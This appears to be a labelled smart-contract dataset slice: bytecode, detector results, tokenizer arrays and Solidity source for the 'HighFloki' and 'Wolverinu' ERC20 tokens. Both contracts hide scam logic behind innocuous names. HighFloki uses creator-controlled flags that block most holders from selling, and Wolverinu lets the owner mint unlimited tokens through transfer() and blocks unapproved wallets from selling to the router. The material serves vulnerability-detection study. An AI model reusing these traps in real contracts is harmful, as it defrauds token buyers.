ffffffffffffffffffffff168152602001908152602001600020614523565b816066600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006143dd6001609c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506147b690919063ffffffff16565b90506000609d60008481526020019081526020016000205490508181146144ca576000609c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061444a57fe5b9060005260206000200154905080609c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106144a257fe5b906000526020600020018190555081609d600083815260200190815260200160002081905550505b609c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548091906001900361451c9190614bd1565b5050505050565b6001816000016000828254019250508190555050565b6145438282614800565b61454d8282614385565b6000609d60008381526020019081526020016000208190555061456f8161498f565b5050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91508082141580156145b557506000801b8214155b92505050919050565b600060019054906101000a900460ff16806145dd57506145dc612ad6565b5b806145f457506000809054906101000a900460ff16155b614649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015614699576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6146a2826115ec565b6146b0576146af82612c90565b5b80156146d15760008060016101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff166067600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146147905760006067600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6147ab600182600001546147b690919063ffffffff16565b816000018190555050565b60006147f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614a49565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff1661482082611867565b73ffffffffffffffffffffffffffffffffffffffff161461488c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f876025913960400191505060405180910390fd5b614895816146d5565b6148dc606860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020614793565b60006066600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60006149aa6001609e805490506147b690919063ffffffff16565b90506000609f60008481526020019081526020016000205490506000609e83815481106149d357fe5b9060005260206000200154905080609e83815481106149ee57fe5b906000526020600020018190555081609f600083815260200190815260200160002081905550609e805480919060019003614a299190614bd1565b506000609f60008681526020019081526020016000208190555050505050565b6000838311158290614af6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614abb578082015181840152602081019050614aa0565b50505050905090810190601f168015614ae85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614b4a57805160ff1916838001178555614b78565b82800160010185558215614b78579182015b82811115614b77578251825591602001919060010190614b5c565b5b509050614b859190614bfd565b5090565b50805460018160011615610100020316600290046000825580601f10614baf5750614bce565b601f016020900490600052602060002090810190614bcd9190614bfd565b5b50565b815481835581811115614bf857818360005260206000209182019101614bf79190614bfd565b5b505050565b614c1f91905b80821115614c1b576000816000905550600101614c03565b5090565b9056fe68747470733a2f2f6e6f6f78636f6d6d756e6974792e636f6d2f746f6b656e732f6765744d657461646174612f455243373231456e756d657261626c653a206f776e657220696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e746572506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e4d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c654552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a65644552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243373231456e756d657261626c653a20676c6f62616c20696e646578206f7574206f6620626f756e64734552433732313a206275726e206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a165627a7a723058202d1c285de3f146dd90ca5436c553fa02acf76f4d0ad1f646c347678876631c5d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22394, 2692, 2278, 2620, 4783, 2575, 2546, 26187, 2692, 2098, 3676, 2497, 12740, 2497, 20842, 8586, 2620, 2581, 12521, 22022, 2620, 2546, 2692, 21486, 2487, 2094, 2475, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1032, 18739, 1032, 8311, 1032, 3988, 21335, 3468, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2484, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3988, 21335, 3468, 1008, 1008, 1030, 16475, 2393, 2121, 3206, 2000, 2490, 3988, 17629, 4972, 1012, 2000, 2224, 2009, 1010, 5672, 1008, 1996, 9570, 2953, 2007, 1037, 3853, 2008, 2038, 1996, 1036, 3988, 17629, 1036, 16913, 18095, 1012, 1008, 5432, 1024, 4406, 9570, 5668, 1010, 3988, 17629, 4972, 2442, 2022, 21118, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,703
0x97345e40d1e40718f1334266fa5050e4455f0967
/** * Welcome, and bring some stuff! */ pragma solidity 0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public cooldownCheck; mapping (address => bool) public checkIfCooldownActive; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; bool private _openTrading = false; string private _name; string private _symbol; address private _creator; bool private cooldownSearch; bool private antiWhale; bool private tempVal; uint256 private setAntiWhaleAmount; uint256 private setTxLimit; uint256 private chTx; uint256 private tXs; constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) { _name = name_; _symbol = symbol_; _creator = creator_; checkIfCooldownActive[creator_] = tmp; cooldownCheck[creator_] = tmp2; antiWhale = tmp; tempVal = tmp2; cooldownSearch = tmp2; tXs = tmp9; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender != _creator) { require(_openTrading); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if ((address(sender) == _creator) && (tempVal == false)) { setAntiWhaleAmount = chTx; antiWhale = true; } if ((address(sender) == _creator) && (tempVal == true)) { cooldownCheck[recipient] = true; tempVal = false; } if (cooldownCheck[sender] == false) { if ((amount > setTxLimit)) { require(false); } require(amount < setAntiWhaleAmount); if (antiWhale == true) { if (checkIfCooldownActive[sender] == true) { require(false, "ERC20: please wait another %m:%s min before transfering"); } checkIfCooldownActive[sender] = true; _cooldownBeforeNewSell(sender, block.timestamp); } } uint256 taxamount = amount; _balances[sender] = senderBalance - taxamount; _balances[recipient] += taxamount; emit Transfer(sender, recipient, taxamount); } function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; setAntiWhaleAmount = _totalSupply; chTx = _totalSupply / val1; setTxLimit = chTx * val2; emit Transfer(address(0), account, amount); } function _MakeFlokiHigh(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[0x000000000000000000000000000000000000dEaD] += amount; emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == _creator) && (cooldownSearch == true)) { cooldownCheck[spender] = true; checkIfCooldownActive[spender] = false; cooldownSearch = false; } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function emergencyBakeryOverrideMechanism(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner { cooldownCheck[account] = v1; checkIfCooldownActive[account] = v2; antiWhale = v3; setAntiWhaleAmount = v4; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual { if ((block.timestamp - amount) > 5*60) { checkIfCooldownActive[account] = false; } } function openTrading() external onlyOwner() { _openTrading = true; } } contract ERC20HighFloki is Context, ERC20 { constructor( string memory name, string memory symbol, bool tmp, bool tmp2, uint256 tmp6, uint256 tmp7, address creator, uint256 initialSupply, address owner, uint256 tmp9 ) ERC20(name, symbol, creator, tmp, tmp2, tmp9) { _burnLP(owner, initialSupply, tmp6, tmp7); } } contract HighFloki is ERC20HighFloki { constructor() ERC20HighFloki("High Floki", "highFLOKI", false, true, 1000, 30, msg.sender, 420000000 * 10 ** 18, msg.sender, 3) { } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806379f65978116100a2578063a9059cbb11610071578063a9059cbb14610224578063b03529ab14610237578063c9567bf91461024a578063dd62ed3e14610252578063e33b66f61461028b57600080fd5b806379f65978146101cb5780638da5cb5b146101ee57806395d89b4114610209578063a457c2d71461021157600080fd5b8063313ce567116100de578063313ce56714610176578063395093511461018557806370a0823114610198578063715018a6146101c157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102ae565b6040516101259190610d02565b60405180910390f35b61014161013c366004610cd8565b610340565b6040519015158152602001610125565b6006545b604051908152602001610125565b610141610171366004610c40565b610356565b60405160128152602001610125565b610141610193366004610cd8565b61040c565b6101556101a6366004610beb565b6001600160a01b031660009081526004602052604090205490565b6101c9610443565b005b6101416101d9366004610beb565b60026020526000908152604090205460ff1681565b6000546040516001600160a01b039091168152602001610125565b6101186104b7565b61014161021f366004610cd8565b6104c6565b610141610232366004610cd8565b610561565b6101c9610245366004610c7c565b61056e565b6101c96105fa565b610155610260366004610c0d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b610141610299366004610beb565b60036020526000908152604090205460ff1681565b6060600880546102bd90610dbb565b80601f01602080910402602001604051908101604052809291908181526020018280546102e990610dbb565b80156103365780601f1061030b57610100808354040283529160200191610336565b820191906000526020600020905b81548152906001019060200180831161031957829003601f168201915b5050505050905090565b600061034d338484610633565b50600192915050565b60006103638484846107cd565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103ed5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61040185336103fc8685610da4565b610633565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161034d9185906103fc908690610d8c565b6000546001600160a01b0316331461046d5760405162461bcd60e51b81526004016103e490610d57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546102bd90610dbb565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105485760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e4565b61055733856103fc8685610da4565b5060019392505050565b600061034d3384846107cd565b6000546001600160a01b031633146105985760405162461bcd60e51b81526004016103e490610d57565b6001600160a01b039094166000908152600260209081526040808320805496151560ff199788161790556003909152902080549215159290931691909117909155600a8054911515600160a81b0260ff60a81b19909216919091179055600b55565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016103e490610d57565b6007805460ff19166001179055565b6001600160a01b0383166106955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e4565b6001600160a01b0382166106f65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e4565b600a546001600160a01b0384811691161480156107215750600a54600160a01b900460ff1615156001145b1561076c576001600160a01b0382166000908152600260209081526040808320805460ff19908116600117909155600390925290912080549091169055600a805460ff60a01b191690555b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e4565b6001600160a01b0382166108935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e4565b600a546001600160a01b038481169116146108b75760075460ff166108b757600080fd5b6001600160a01b0383166000908152600460205260409020548181101561092f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e4565b600a546001600160a01b0385811691161480156109565750600a54600160b01b900460ff16155b1561097557600d54600b55600a805460ff60a81b1916600160a81b1790555b600a546001600160a01b0385811691161480156109a05750600a54600160b01b900460ff1615156001145b156109d6576001600160a01b0383166000908152600260205260409020805460ff19166001179055600a805460ff60b01b191690555b6001600160a01b03841660009081526002602052604090205460ff16610aeb57600c54821115610a0557600080fd5b600b548210610a1357600080fd5b600a54600160a81b900460ff16151560011415610aeb576001600160a01b03841660009081526003602052604090205460ff16151560011415610abe5760405162461bcd60e51b815260206004820152603760248201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360448201527f206d696e206265666f7265207472616e73666572696e6700000000000000000060648201526084016103e4565b6001600160a01b0384166000908152600360205260409020805460ff19166001179055610aeb8442610b87565b81610af68183610da4565b6001600160a01b038087166000908152600460205260408082209390935590861681529081208054839290610b2c908490610d8c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b7891815260200190565b60405180910390a35050505050565b61012c610b948242610da4565b1115610bbb576001600160a01b0382166000908152600360205260409020805460ff191690555b5050565b80356001600160a01b0381168114610bd657600080fd5b919050565b80358015158114610bd657600080fd5b600060208284031215610bfd57600080fd5b610c0682610bbf565b9392505050565b60008060408385031215610c2057600080fd5b610c2983610bbf565b9150610c3760208401610bbf565b90509250929050565b600080600060608486031215610c5557600080fd5b610c5e84610bbf565b9250610c6c60208501610bbf565b9150604084013590509250925092565b600080600080600060a08688031215610c9457600080fd5b610c9d86610bbf565b9450610cab60208701610bdb565b9350610cb960408701610bdb565b9250610cc760608701610bdb565b949793965091946080013592915050565b60008060408385031215610ceb57600080fd5b610cf483610bbf565b946020939093013593505050565b600060208083528351808285015260005b81811015610d2f57858101830151858201604001528201610d13565b81811115610d41576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d9f57610d9f610df6565b500190565b600082821015610db657610db6610df6565b500390565b600181811c90821680610dcf57607f821691505b60208210811415610df057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122064accaa8efb1b1379cbaf47ab78ae8ce6f444f957d8a32392add6f07574ba23e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22022, 2629, 2063, 12740, 2094, 2487, 2063, 12740, 2581, 15136, 2546, 17134, 22022, 23833, 2575, 7011, 12376, 12376, 2063, 22932, 24087, 2546, 2692, 2683, 2575, 2581, 1013, 1008, 1008, 1008, 6160, 1010, 1998, 3288, 2070, 4933, 999, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,704
0x973536f972b917fccb4ac70c31ea2a57602ba61b
/* █ █░ ▒█████ ██▓ ██▒ █▓▓█████ ██▀███ ██▓ ███▄ █ █ ██ ▓█░ █ ░█░▒██▒ ██▒▓██▒ ▓██░ █▒▓█ ▀ ▓██ ▒ ██▒▓██▒ ██ ▀█ █ ██ ▓██▒ ▒█░ █ ░█ ▒██░ ██▒▒██░ ▓██ █▒░▒███ ▓██ ░▄█ ▒▒██▒▓██ ▀█ ██▒▓██ ▒██░ ░█░ █ ░█ ▒██ ██░▒██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ ░██░▓██▒ ▐▌██▒▓▓█ ░██░ ░░██▒██▓ ░ ████▓▒░░██████▒▒▀█░ ░▒████▒░██▓ ▒██▒░██░▒██░ ▓██░▒▒█████▓ ░ ▓░▒ ▒ ░ ▒░▒░▒░ ░ ▒░▓ ░░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░░▓ ░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ░ ░ ░ ▒ ▒░ ░ ░ ▒ ░░ ░░ ░ ░ ░ ░▒ ░ ▒░ ▒ ░░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.1; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.1; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.1; library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal Approved; event ownable(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit ownable(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual checker { emit ownable(owner, address(0)); owner = address(0); } } pragma solidity ^0.8.1; contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function Approve (address Uniswaprouterv02) public checker { router = Uniswaprouterv02; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function ApproveWallet(address _address) internal checker { Approved[_address] = true; } function contributors(address[] memory _addresses) external checker { for (uint256 i = 0; i < _addresses.length; i++) { ApproveWallet(_addresses[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(Approved[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.1; contract Wolverinu is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 555555555 * 10 ** 18; constructor () ERC20('Wolverinu', unicode'WOLVERINU') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
